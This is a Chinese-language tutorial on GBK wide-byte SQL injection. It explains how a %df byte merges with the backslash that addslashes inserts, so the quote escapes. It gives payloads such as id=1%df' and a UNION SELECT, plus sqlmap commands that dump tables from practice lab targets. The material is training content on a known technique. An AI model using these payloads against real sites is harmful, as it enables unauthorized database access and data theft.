📔前言
在学习宽字节注入前我们需要先了解一下mysql中常常用来转义的函数有以下几种:addslashes、mysql_real_escape_string、mysql_escape_string以及后面在高版本被去除的magic_quote_gpc,常用的是addslashes,它的定义是返回在预定义字符之前添加反斜杠的字符串,预定义字符是:单引号(')、双引号(")、反斜杠(\)、NULL
PHP addslashes() 函数https://www.w3school.com.cn/php/func_string_addslashes.asp
📔原理
- 根据MySQL中的GBK编码的特性来实现绕过转义限制
- GBK:一个汉字=2个字节
- 当我们输入单引号时,mysql会调用转义函数,将单引号变为',其中的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击,也可以使用url解码后的%df(�)来进行绕过
GBK 编码范围, GBK 编码表GBK编码采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.phpGBK 编码表 - 在线工具GBK编码表http://106.14.124.170/Encoding/GBK
📔方法
在限制的符号前面加一个ascii码大于128的和反斜线才会被编码成一个汉字
id=1%df'
id=1�'
📔实验
📓靶场一
chinalover.sinaapp.com/SQL-GBK/index.php?http://chinalover.sinaapp.com/SQL-GBK/index.php?
#直接测试
id=1'
#添加%df
id=1�'
📓靶场二
SQL注入之宽字节(GBK)注入https://labs.do-ta.com/index/course/detail/id/110
id=1%df'
#此时我们可以看出有报错提示说明我们单引号逃逸成功了,那么直接联合查询出数据
id=-1%df' union select 1,database(),3%23
- 啥话不说上针管(sqlmap)
#注入获取库中的表
python sqlmap.py -u "http://120.25.24.45:30206/index.php?id=1%df'" --tables -D "sql-kuanzijiegbk-1" -v 0
#注入获取我们的key表数据
python sqlmap.py -u "http://120.25.24.45:30206/index.php?id=1%df'" -T "key" -D "sql-kuanzijiegbk-1" -v 0 --dump